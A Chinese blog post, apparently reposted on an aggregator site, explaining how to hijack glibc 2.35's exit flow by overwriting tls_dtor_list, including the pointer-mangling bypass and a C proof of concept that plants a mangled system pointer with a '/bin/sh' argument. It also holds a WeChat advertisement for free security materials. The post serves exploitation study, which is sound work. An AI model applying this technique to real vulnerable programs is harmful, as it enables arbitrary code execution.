glibc2.35-通过tls_dtor_list劫持exit执行流程

这篇具有很好参考价值的文章主要介绍了glibc2.35-通过tls_dtor_list劫持exit执行流程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • 判断tls_dtor_list为空

  • 不为空则将tls_dtor_list赋值给cur

  • 取出函数指针cur->func

  • 通过PTR_DEMANGLE宏解密指针值

  • 执行函数指针

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
​
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

  • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88

  • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

根据上述的方法,我们成功进入后续的流程

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
​
unsigned long long rotate_left(unsigned long long value, int left)
{
    return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}
​
​
int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_number;
    void *system_ptr = (void *)&system;
    printf("system:%p\n",system_ptr);
    // 使用汇编嵌入获取FS寄存器的值
    asm("mov %%fs:0, %0" : "=r" (fs_base));
    printf("Value in FS register: 0x%llx\n", fs_base);
    tls_dtor_list_addr = fs_base - 88;
    random_number = *(unsigned long long *)(fs_base + 0x30);
    char *str_bin_sh = malloc(0x20);
    strcpy(str_bin_sh,"/bin/sh");
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
    *(unsigned long long *)(ptr + 8)  = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
    return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • 存在任意地址写的漏洞利用

  • 能够篡改或泄露fs_base + 0x30的值

  • 程序会通过exit函数结束程序,若是通过_exit则不行

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-695851.html

到了这里,关于glibc2.35-通过tls_dtor_list劫持exit执行流程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • centos7升级glibc2.28

    centos7自带的glibc对于某些软件是太旧的,决定将glibc升级至2.28。 2.1 下载glibc源码 2.2 查看glibc的INSTALL文件所描述的依赖 该文件描述了依赖软件的版本要求,例如gcc和make的版本。 2.3 升级gcc工具链 依据INSTALL文件,4.9 = gcc = 8.1.1。本文使用gcc 7.3.1,make 4.2.1。 安装gcc7工具链可参

    2024年02月13日
    浏览(36)
  • 《WEB安全渗透测试》(35) 使用Burp Clickbandit测试点击劫持

    点击劫持指的是,通过覆盖不可见的框架误导受害者点击,虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。 Burp Clickbandit 是用于生成点击劫持攻击的工具,当发现可能容易受到点击劫持的网页时,可以使用 Bu

    2024年02月04日
    浏览(36)
  • 35、WEB攻防——通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持

    XSS产生于前端的漏洞,常产生于: XSS分类: 反射型(非持久型) 存储型(持久型),攻击代码被写入数据库中。常见于:写日志、留言、评论的地方 DOM型 DOM型XSS与反射型XSS、存储型XSS的最大区别在于:DOM型XSS前端的数据是传输给前端JS代码进行处理,而反射型XSS、存储型

    2024年01月25日
    浏览(49)
  • 通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程(附源码)

    前言 由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们

    2024年02月02日
    浏览(36)
  • Python(35):Python3 通过https上传文件和下载文件

    Python http方式的下载,参考:https://blog.csdn.net/fen_fen/article/details/113753983 https需要先安装需要的模块 1.1、调用: 1.2、上传代码  2.1、下载调用: 2.2、Python3 https下载文件工具类:

    2024年01月23日
    浏览(32)
  • C++(20):list通过erase, erase_if删除元素

    C++20前,使用成员函数erase删除元素,与vector的方法一致:  1.通过迭代器删除指定位置元素 需要说明的是,删除元素后,迭代器会失效,可以通过erase返回下一个有效的迭代器 运行程序输出ÿ

    2024年02月02日
    浏览(35)
  • 驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not acc

    在用jdk 1.8的时候启动Spring Boot项目的时候,报以下错误: 通过查找资料,原来是jdk中 jdk.tls.disabledAlgorithms 如果有TLSv1、TLSv1.1、3DES_EDE_CBC,要删除才可以 JDK目录在C盘如上 改后部分代码如下: 删除后重新保存后,再运行程序,就能解决上面报错。

    2024年02月15日
    浏览(34)
  • Java8 Stream流List<JSONObject>通过某一属性进行排序

    List对象 1.首先你需要list.parallelStream().sorted 进行流处理,使用parallelStream可以充分调度多核CPU。 2.使用Comparator.comparing进行排序,reversed()进行倒序排列,thenComparing进行下一个排序。 3.Comparator.comparing()里面的内容,也是就是Object::getter,例如Test::getName 4.最后格式化为需要的格式

    2024年02月12日
    浏览(41)
  • [08S01] 驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is

    Idea使用DateSource插件连接SqlServer数据库报错 [08S01] 驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client preferences [TLS13, TLS12]”。 ClientConnectionId:da918ed5-2615-4bbb-a54b-c184ada18897 The server selected protocol ver

    2024年02月16日
    浏览(28)
  • Java for循环每次都通过list.size()和 string.length()获取大小性能

    有人说在for循环之前用一个局部变量先获取到list.size()、str.length(),然后在for循环的判断条件里通过这个局部变量替换list.size()、str.length()会节省数据计算的时间。事实真的是这样吗?下面就为大家解答这个问题。 说明:此文章针对Android SDK 进行说明。 List.size() 首先我们看一

    2024年02月09日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包